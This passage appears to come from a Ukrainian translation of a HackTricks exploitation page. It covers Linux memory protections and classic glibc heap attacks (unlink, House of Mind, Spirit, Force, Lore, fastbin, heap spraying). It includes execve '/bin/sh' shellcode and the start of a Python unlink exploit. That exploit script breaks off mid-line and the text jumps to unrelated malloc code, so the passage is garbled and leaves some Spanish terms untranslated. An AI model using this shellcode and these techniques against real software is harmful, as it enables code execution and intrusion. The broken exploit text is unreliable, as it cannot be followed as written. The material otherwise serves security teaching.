зв'язування —> Адреса функції шукається при першому виклику цієї функції, тому GOT має дозвіл на запис, щоб при пошуку зберегти її там і не потрібно буде шукати знову. Прив'язка зараз —> Адреси функцій шукаються при завантаженні програми, і дозволи для розділів .got, .dtors, .ctors, .dynamic, .jcr змінюються на тільки для читання. **-z relro** і **-z now** Незважаючи на це, загалом програми не складні з цими параметрами, тому ці атаки залишаються можливими. **readelf -l /proc/ID\_PROC/exe | grep BIND\_NOW** —> Для визначення використання BIND NOW **Fortify Source -D\_FORTIFY\_SOURCE=1 або =2** Намагайтеся ідентифікувати функції, які копіюють дані з одного місця в інше небезпечним чином і замінюйте ці функції на безпечні. Наприклад:\ char buf\[16];\ strcpy(but, source); Вона визначається як небезпечна, тому замінює strcpy() на \_\_strcpy\_chk(), використовуючи розмір буфера як максимальний розмір для копіювання. Різниця між **=1** або **=2** полягає в тому, що: Друга не дозволяє, щоб **%n** був з розділу з дозволами на запис. Крім того, параметр для прямого доступу до аргументів може бути використаний лише при використанні попередніх, тобто можна використовувати **%3$d** лише після використання **%2$d** і **%1$d**. Для відображення повідомлення про помилку використовується argv\[0\], тому якщо встановити туди адресу іншого місця (наприклад, глобальної змінної), повідомлення про помилку покаже вміст цієї змінної. Стор. 191 **Заміна Libsafe** Активується за допомогою: LD\_PRELOAD=/lib/libsafe.so.2\ або\ “/lib/libsave.so.2” > /etc/ld.so.preload Деякі небезпечні виклики функцій замінюються на безпечні. Не є стандартизованим. (тільки для x86, не для компіляцій з -fomit-frame-pointer, не для статичних компіляцій, не всі небезпечні функції стають безпечними і LD\_PRELOAD не працює для бінарних файлів з suid). **ASCII Armored Address Space** Полягає в завантаженні спільних бібліотек з 0x00000000 по 0x00ffffff, щоб завжди був байт 0x00. Однак це насправді мало захищає від будь-яких атак, особливо в little endian. **ret2plt** Полягає в тому, що виконується ROP так, що викликається функція strcpy@plt (з plt), вказується на запис в GOT і копіюється перший байт функції, яку потрібно викликати (system()). Потім це ж саме робиться, вказуючи на GOT+1 і копіюючи 2-й байт system()... У кінці викликається збережена адреса в GOT, яка буде system(). **Falso EBP** Для функцій, які використовують EBP як реєстр для вказівки на аргументи, при зміні EIP і вказівки на system() також потрібно змінити EBP, щоб вказував на область пам'яті з будь-якими 2 байтами, а потім на адресу &”/bin/sh”. **Jaulas con chroot()** debootstrap -arch=i386 hardy /home/user —> Встановлює базову систему у вказану піддиректорію Адміністратор може вийти з таких "кліток", створивши: mkdir foo; chroot foo; cd .. **Інструментування коду** Valgrind —> Шукає помилки\ Memcheck\ RAD (Return Address Defender)\ Insure++ ## **8 Переповнення купи: Основні експлойти** **Виділений шматок** prev\_size |\ size | —Заголовок\ \*mem | Дані **Вільний шматок** prev\_size |\ size |\ \*fd | Вказівник на наступний шматок\ \*bk | Вказівник на попередній шматок —Заголовок\ \*mem | Дані Вільні шматки знаходяться в подвійно зв'язаному списку (bin) і ніколи не можуть бути два вільних шматки поруч (їх об'єднують). У "size" є біти для позначення: чи попередній шматок використовується, чи шматок був виділений за допомогою mmap() і чи шматок належить до основного арени. Якщо при звільненні шматка який-небудь з сусідніх є вільним, вони об'єднуються за допомогою макроса unlink() і новий найбільший шматок передається frontlink() для вставки відповідного bin. unlink(){\ BK = P->bk; —> BK нового шматка - це той, який був у вільному шматку до цього\ FD = P->fd; —> FD нового шматка - це той, який був у вільному шматку до цього\ FD->bk = BK; —> BK наступного шматка вказує на новий шматок\ BK->fd = FD; —> FD попереднього шматка вказує на новий шматок\ } Отже, якщо нам вдасться змінити P->bk на адресу shellcode і P->fd на адресу запису в GOT або DTORS мінус 12, досягнемо: BK = P->bk = \&shellcode\ FD = P->fd = &\_\_dtor\_end\_\_ - 12\ FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode І таким чином shellcode виконається при виході з програми. Крім того, 4-е вираз unlink() записує щось, і shellcode повинна бути виправлена для цього: BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Це призводить до запису 4 байтів починаючи з 8-го байта shellcode, тому перша інструкція shellcode повинна бути jmp, щоб пропустити це і перейти до nops, які ведуть до решти shellcode. Отже, експлойт створюється так: У буфер1 ми вставляємо shellcode, починаючи з jmp, щоб вона потрапила в nops або до решти shellcode. Після shell code вставляємо заповнення до досягнення поля prev\_size та size наступного шматка. В цих місцях ми вставляємо 0xfffffff0 (щоб перезаписати prev\_size, щоб вказати, що він вільний) і “-4“(0xfffffffc) в size (щоб при перевірці в 3-му шматку, чи 2-й був вільний, насправді перейти до зміненого prev\_size, який скаже, що він вільний) -> Таким чином, коли free() досліджує, він перейде до size 3-го, а насправді перейде до 2-го - 4 і вважатиме, що 2-й шматок вільний. І тоді викличе **unlink()**. При виклику unlink() використовується як P->fd перші дані 2-го шматка, тому туди вставляється адреса, яку потрібно перезаписати - 12 (оскільки в FD->bk він додасть 12 до адреси, збереженої в FD). І в цю адресу вставляється друга адреса з 2-го шматка, яка повинна бути адресою shellcode (фальшивий P->bk). **from struct import \*** **import os** **shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno** **shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\** **"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\** **"\x80\xe8\xdc\xff\xff\xff/bin/sh";** **prev\_size = pack("\ Повертає вказівник на адресу початку шматка (mem-8) … ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(ptr)->ar\_ptr:\&main\_arena \[1] … \_int\_free(ar\_ptr, mem); } У \[1] перевіряється поле size біт NON\_MAIN\_ARENA, яке можна змінити, щоб перевірка повертала true і виконувалася heap\_for\_ptr(), яка виконує and до "mem", змінюючи на 0 2,5 менш важливих байтів (у нашому випадку з 0x0804a000 виходить 0x08000000) і отримує доступ до 0x08000000->ar\_ptr (як до структури heap\_info) Отже, якщо ми можемо контролювати шматок, наприклад, у 0x0804a000, і шматок у **0x081002a0** буде вивільнений, ми можемо дістатися до адреси 0x08100000 і записати туди все, що завгодно, наприклад **0x0804a000**. Коли цей другий шматок буде вивільнений, він побачить, що heap\_for\_ptr(ptr)->ar\_ptr повертає те, що ми записали в 0x08100000 (оскільки до 0x081002a0 застосовується and, який ми бачили раніше, і звідти витягується значення перших 4 байтів, ar\_ptr) Отже, викликається \_int\_free(ar\_ptr, mem), тобто **\_int\_free(0x0804a000, 0x081002a0)**\ **\_int\_free(mstate av, Void\_t\* mem){**\ …\ bck = unsorted\_chunks(av);\ fwd = bck->fd;\ p->bk = bck;\ p->fd = fwd;\ bck->fd = p;\ fwd->bk = p; ..} Як ми бачили раніше, ми можемо контролювати значення av, оскільки це те, що ми записуємо в шматок, який буде вивільнений. Як визначено unsorted\_chunks, ми знаємо, що:\ bck = \&av->bins\[2]-8;\ fwd = bck->fd = \*(av->bins\[2]);\ fwd->bk = \*(av->bins\[2] + 12) = p; Отже, якщо ми записуємо значення \_\_DTOR\_END\_\_-12 в av->bins\[2], у останній інструкції буде записано в \_\_DTOR\_END\_\_ адресу другого шматка. Іншими словами, в першому шматку на початку ми повинні декілька разів записати адресу \_\_DTOR\_END\_\_-12, оскільки av->bins\[2\] витягне її звідти В адресі, куди падає адреса другого шматка з останніми 5 нулями, потрібно записати адресу цього першого шматка, щоб heap\_for\_ptr() думав, що ar\_ptr знаходиться на початку першого шматка і витягував звідти av->bins\[2\] У другому шматку, завдяки першому, ми перезаписуємо prev\_size зі стрибком 0x0c і розміром з чимось для активації -> NON\_MAIN\_ARENA Потім у другому шматку ми додаємо купу nops і, нарешті, shellcode Отже, буде викликано \_int\_free(TROZO1, TROZO2), і виконається інструкція для запису в \_\_DTOR\_END\_\_ адреси prev\_size TROZO2, який стрибне до shellcode. Для застосування цієї техніки потрібно виконати деякі додаткові вимоги, які ускладнюють пейлоуд. Ця техніка вже не застосовується, оскільки було застосовано майже той самий патч, що і для unlink. Порівнюють, чи нове місце, на яке вказується, також вказує на нього. **Fastbin** Це варіант The house of mind нас цікавить виконання наступного коду, який виконується після перевірки функції \_int\_free() fb = &(av->fastbins\[fastbin\_index(size)] —> Де fastbin\_index(sz) —> (sz >> 3) - 2 … p->fd = \*fb \*fb = p Таким чином, якщо в "fb" вказується адреса функції в GOT, на цю адресу буде встановлено адресу перезаписаного шматка. Для цього потрібно, щоб арена була близькою до адрес dtors. Конкретніше, av->max\_fast повинен бути в адресі, яку ми збираємося перезаписати. Оскільки з The House of Mind ми бачили, що ми контролюємо позицію av. Тому, якщо в поле size ми встановимо розмір 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() поверне fastbins\[-1\], який вказуватиме на av->max\_fast У цьому випадку av->max\_fast буде адресою, яка буде перезаписана (не на яку вказує, а саме ця позиція буде перезаписана). Крім того, потрібно, щоб шматок поруч з вивільненим був більшим за 8 -> Оскільки ми сказали, що розмір вивільненого шматка - 8, у цьому фальшивому шматку потрібно лише встановити розмір більше 8 (оскільки shellcode також буде в шматку, який вивільнюється, потрібно встановити спочатку jmp, який призведе до nops). Крім того, цей самий фальшивий шматок повинен бути меншим за av->system\_mem. av->system\_mem знаходиться на 1848 байтів далі. Через нулі з \_DTOR\_END\_ та обмежену кількість адрес в GOT, жодна з цих секцій не підходить для перезапису, тому давайте подивимося, як застосувати fastbin для атаки на стек. Інший спосіб атаки - перенаправити **av** на стек. Якщо ми змінимо розмір на 16 замість 8, тоді: fastbin\_index() поверне fastbins\[0\] і ми можемо скористатися цим для перезапису стеку. Для цього не повинно бути жодного canary або дивних значень на стеці, фактично ми повинні знайтися в такому: 4 байти нулів + EBP + RET 4 байти нулів потрібні, щоб **av** був на цій адресі, і перший елемент **av** - це mutex, який повинен дорівнювати 0. **av->max\_fast** буде EBP і буде значенням, яке дозволить нам обійти обмеження. У **av->fastbins\[0\]** буде перезаписано адресу **p** і буде RET, тому він перейде до shellcode. Крім того, в **av->system\_mem** (1484 байти вище від позиції на стеці) буде достатньо сміття, що дозволить нам обійти перевірку. Крім того, потрібно, щоб шматок поруч з вивільненим був більшим за 8 -> Оскільки ми сказали, що розмір вивільненого шматка - 16, у цьому фальшивому шматку потрібно лише встановити розмір більше 8 (оскільки shellcode також буде в шматку, який вивільнюється, потрібно встановити спочатку jmp, який призведе до nops, які йдуть після поля size нового фальшивого шматка). **The House of Spirit** У цьому випадку ми шукаємо вказівник на malloc, який може бути змінений зловмисником (наприклад, вказівник знаходиться на стеці під можливим переповненням змінної). Таким чином, ми могли б зробити цей вказівник вказувати куди завгодно. Однак не будь-яке місце підходить, розмір фальшивого шматка повинен бути меншим за av->max\_fast і, більш конкретно, дорівнювати розміру, запитаному у майбутньому виклику malloc()+8. Тому, якщо ми знаємо, що після цього вразливого вказівника викликається malloc(40), розмір фальшивого шматка повинен дорівнювати 48. Наприклад, якщо програма запитує користувача про число, ми можемо ввести 48 і вказати вказівник malloc на наступні 4 байти (які можуть належати EBP, з удачею, таким чином, 48 залишається позаду, якщо це буде заголовок size). Крім того, адреса ptr-4+48 повинна відповідати декільком умовам (у цьому випадку ptr=EBP), тобто 8 < ptr-4+48 < av->system\_mem. Якщо це виконується, коли викликається наступний malloc, який ми сказали, що це malloc(40), йому буде призначено адресу EBP. Якщо зловмисник також може контролювати те, що записується в цей malloc, він може перезаписати як EBP, так і EIP будь-якою адресою, яку він хоче. Це, мабуть, тому, що коли free() вивільняє, він зберігає, що в адресі, яка вказує на EBP стеку, є шматок ідеального розміру для нового malloc(), який потрібно резервувати, тому він призначає цю адресу. **The House of Force** Потрібно: * Переповнення шматка, яке дозволяє перезаписати wilderness * Виклик malloc() із розміром, визначеним користувачем * Виклик malloc(), дані якого можуть бути визначені користувачем Спочатку розмір шматка wilderness перезаписується значенням дуже великим (0xffffffff), тому будь-яке достатньо велике прохання про пам'ять буде оброблено в \_int\_malloc() без необхідності розширення купи Друге - змінити av->top, щоб він вказував на область пам'яті під контролем зловмисника, таку як стек. У av->top буде \&EIP - 8. Ми повинні перезаписати av->top, щоб він вказував на область пам'яті під контролем зловмисника: victim = av->top; remainder = chunck\_at\_offset(victim, nb); av->top = remainder; Victim отримує значення адреси поточного шматка wilderness (поточний av->top), а remainder - це саме сума цієї адреси плюс кількість байтів, запитаних malloc(). Тому, якщо \&EIP-8 знаходиться за адресою 0xbffff224, а av->top містить 0x080c2788, тоді кількість, яку ми повинні зарезервувати в контрольованому malloc, щоб av->top вказував на $EIP-8 для наступного malloc(), буде: 0xbffff224 - 0x080c2788 = 3086207644. Таким чином, змінений значення буде збережено в av->top, і наступний malloc вказуватиме на EIP і може бути перезаписаний. Важливо знати, що розмір нового шматка wilderness повинен бути більшим за запит, зроблений останнім malloc(). Іншими словами, якщо wilderness вказує на \&EIP-8, розмір буде точно в полі EBP стеку. **The House of Lore** **Корупція SmallBin** Вивільнені шматки вводяться в bin в залежності від їх розміру. Але перед тим, як їх вводити, вони зберігаються в unsorted bins. Шматок, який вивільнюється, не вводиться безпосередньо в свій bin, а залишається в unsorted bins. Потім, якщо резервується новий шматок і попередній вивільнений може йому підійти, він повертається, але якщо резервується більший, вивільнений шматок в unsorted bins вводиться в відповідний bin. Щоб досягти вразливого коду, запит пам'яті повинен бути більшим за av->max\_fast (зазвичай 72) і меншим за MIN\_LARGE\_SIZE (512). Якщо в bin є шматок відповідного розміру, він повертається після роз'єднання: bck = victim->bk; Вказує на попередній шматок, це єдине, що ми можемо змінити. bin->bk = bck; Попередній шматок стає останнім, якщо bck вказує на стек, наступному зарезервованому шматку буде надана ця адреса bck->fd = bin; Закриваємо список, зробивши його вказувати на bin Потрібно: Резервування двох malloc, так щоб перший міг переповнитися після того, як другий був звільнений і включений у свій бін (тобто, було зарезервовано malloc, який більше за другий шматок перед переповненням) Malloc, який був зарезервований за адресою, обраною зловмисником, повинен бути під контролем зловмисника. Мета полягає в тому, що якщо ми можемо переповнити купу, яка має вже звільнений шматок у своєму біні, ми можемо змінити його вказівник bk. Якщо ми змінимо вказівник bk і цей шматок стане першим у списку бінів і буде зарезервований, бін буде обманутий і вважатиме, що наступний шматок у списку (наступний для надання) знаходиться за фальшивою адресою, яку ми вказали (наприклад, на стеку або GOT). Таким чином, якщо знову зарезервувати інший шматок і зловмисник матиме дозвіл на нього, йому буде надано шматок у бажаному положенні, і він зможе записати в нього. Після звільнення зміненого шматка необхідно зарезервувати шматок, який більший за звільнений, тоді змінений шматок вийде з несортованих бінів і буде включений у свій бін. Після того, як він у своєму біні, час змінити йому вказівник bk через переповнення, щоб він вказував на бажану адресу. Таким чином, бін повинен зачекати, поки malloc() буде викликано достатню кількість разів, щоб знову використати змінений бін і обманути бін, змушуючи його вважати, що наступний шматок знаходиться за фальшивою адресою. Потім буде надано шматок, який нас цікавить. Щоб вразити вразливість якнайшвидше, ідеально: резервування вразливого шматка, резервування шматка, який буде змінено, звільнення цього шматка, резервування шматка, який більший за той, який буде змінено, зміна шматка (вразливість), резервування шматка такого ж розміру, як порушений, і резервування другого шматка такого ж розміру, який буде вказувати на обрану адресу. Для захисту від цього нападу використовується типова перевірка того, що шматок "не" є фальшивим: перевіряється, чи вказує bck->fd на жертву. Іншими словами, у нашому випадку, якщо вказівник fd\* фальшивого шматка, вказаний на стеку, вказує на жертву. Щоб обійти цей захист, зловмисник повинен змогти якимось чином (найімовірніше, через стек) записати в потрібну адресу адресу жертви. Це зробить шматок справжнім. **Корупція LargeBin** Потрібні ті ж умови, що й раніше, і деякі додаткові, крім того, зарезервовані шматки повинні бути більшими за 512. Атака схожа на попередню, тобто потрібно змінити вказівник bk і викликати всі ці виклики malloc(), але також потрібно змінити розмір зміненого шматка так, щоб цей розмір - nb був < MINSIZE. Наприклад, потрібно встановити розмір 1552, щоб 1552 - 1544 = 8 < MINSIZE (віднімання не може бути від'ємним, оскільки порівнюється беззнакове число) Крім того, було введено патч для ускладнення цього ще більше. **Розпилення купи** Основна ідея полягає в тому, щоб зарезервувати якомога більше пам'яті для куп та заповнити їх матрацем з nops, завершених shellcode. Крім того, як матрац використовується 0x0c. Таким чином, спробуємо перейти за адресу 0x0c0c0c0c, і якщо будь-яка адреса, на яку буде викликано з цим матрацем, буде перезаписана, ми перейдемо туди. Основна тактика полягає в тому, щоб зарезервувати якнайбільше, щоб побачити, чи буде перезаписано якийсь вказівник, і перейти до 0x0c0c0c0c, сподіваючись, що там будуть nops. **Heap Feng Shui** Полягає в тому, що за допомогою резервувань та звільнень сементується пам'ять так, що між вільними шматками залишаються зарезервовані шматки. Буфер для переповнення буде розташований в одному з цих шматків. objdump -d виконуваний файл —> Розібрати функції\ objdump -d ./PROGRAMA | grep FUNCION —> Отримати адресу функції\ objdump -d -Mintel ./shellcodeout —> Для перевірки, що це дійсно наша shellcode та витягнення OpCodes\ objdump -t ./exec | grep varBss —> Таблиця символів, для витягнення адреси змінних та функцій\ objdump -TR ./exec | grep exit(func lib) —> Для витягнення адреси функцій бібліотек (GOT)\ objdump -d ./exec | grep funcCode\ objdump -s -j .dtors /exec\ objdump -s -j .got ./exec\ objdump -t --dynamic-relo ./exec | grep puts —> Витягає адресу puts для перезапису в GOT\ objdump -D ./exec —> Розібрати ВСЕ до входів plt\ objdump -p -/exec\ Info functions strncmp —> Інформація про функцію в gdb ## Цікаві курси * [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io) * [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE) * [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes) ## **Посилання** * [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)! Інші способи підтримки HackTricks: * Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)! * Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com) * Дізнайтеся про [**The PEASS Family**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family) * **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.